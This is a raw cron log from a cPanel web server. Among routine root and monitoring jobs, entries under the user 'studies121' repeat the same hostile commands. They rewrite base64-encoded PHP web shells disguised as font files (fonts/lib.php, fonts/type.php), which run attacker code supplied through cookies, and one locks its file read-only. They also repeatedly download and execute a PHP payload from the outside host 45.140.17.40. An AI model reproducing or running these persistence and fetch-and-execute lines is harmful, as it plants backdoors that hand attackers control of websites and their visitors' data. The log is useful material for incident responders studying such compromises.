Feb 22 03:49:01 ip-184-168-122-23 CROND[20871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:49:01 ip-184-168-122-23 CROND[20873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:50:01 ip-184-168-122-23 CROND[21196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:50:01 ip-184-168-122-23 CROND[21197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:50:01 ip-184-168-122-23 CROND[21198]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 03:50:01 ip-184-168-122-23 CROND[21201]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:50:01 ip-184-168-122-23 CROND[21203]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 03:50:01 ip-184-168-122-23 CROND[21204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:50:01 ip-184-168-122-23 CROND[21200]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 03:50:01 ip-184-168-122-23 CROND[21212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:50:01 ip-184-168-122-23 CROND[21211]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 03:51:01 ip-184-168-122-23 CROND[21510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:51:01 ip-184-168-122-23 CROND[21512]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:51:01 ip-184-168-122-23 CROND[21514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:51:01 ip-184-168-122-23 CROND[21515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:52:01 ip-184-168-122-23 CROND[21782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:52:01 ip-184-168-122-23 CROND[21784]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:52:01 ip-184-168-122-23 CROND[21788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:52:01 ip-184-168-122-23 CROND[21790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:52:01 ip-184-168-122-23 CROND[21789]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:53:01 ip-184-168-122-23 CROND[22105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:53:01 ip-184-168-122-23 CROND[22106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:53:01 ip-184-168-122-23 CROND[22108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:53:01 ip-184-168-122-23 CROND[22109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:54:01 ip-184-168-122-23 CROND[22419]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:54:01 ip-184-168-122-23 CROND[22420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:54:01 ip-184-168-122-23 CROND[22423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:54:01 ip-184-168-122-23 CROND[22424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:54:01 ip-184-168-122-23 CROND[22425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:55:01 ip-184-168-122-23 CROND[22742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:55:01 ip-184-168-122-23 CROND[22743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:55:01 ip-184-168-122-23 CROND[22746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:55:01 ip-184-168-122-23 CROND[22747]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 03:55:01 ip-184-168-122-23 CROND[22748]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 03:55:01 ip-184-168-122-23 CROND[22750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:56:01 ip-184-168-122-23 CROND[23156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:56:01 ip-184-168-122-23 CROND[23158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:56:01 ip-184-168-122-23 CROND[23160]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:56:01 ip-184-168-122-23 CROND[23161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:56:01 ip-184-168-122-23 CROND[23159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:57:01 ip-184-168-122-23 CROND[23492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:57:01 ip-184-168-122-23 CROND[23494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:57:01 ip-184-168-122-23 CROND[23496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:57:01 ip-184-168-122-23 CROND[23499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:58:01 ip-184-168-122-23 CROND[23814]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:58:01 ip-184-168-122-23 CROND[23816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:58:01 ip-184-168-122-23 CROND[23817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:58:01 ip-184-168-122-23 CROND[23819]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:58:01 ip-184-168-122-23 CROND[23818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:59:01 ip-184-168-122-23 CROND[24133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:59:01 ip-184-168-122-23 CROND[24135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:59:01 ip-184-168-122-23 CROND[24134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:59:01 ip-184-168-122-23 CROND[24137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:00:01 ip-184-168-122-23 CROND[24454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:00:01 ip-184-168-122-23 CROND[24455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:00:01 ip-184-168-122-23 CROND[24457]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 04:00:01 ip-184-168-122-23 CROND[24463]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 04:00:01 ip-184-168-122-23 CROND[24460]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 04:00:01 ip-184-168-122-23 CROND[24458]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:00:01 ip-184-168-122-23 CROND[24459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:00:01 ip-184-168-122-23 CROND[24462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:00:01 ip-184-168-122-23 CROND[24465]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Feb 22 04:01:01 ip-184-168-122-23 CROND[24786]: (root) CMD (run-parts /etc/cron.hourly)
Feb 22 04:01:01 ip-184-168-122-23 CROND[24787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:01:01 ip-184-168-122-23 CROND[24791]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 04:01:01 ip-184-168-122-23 CROND[24792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
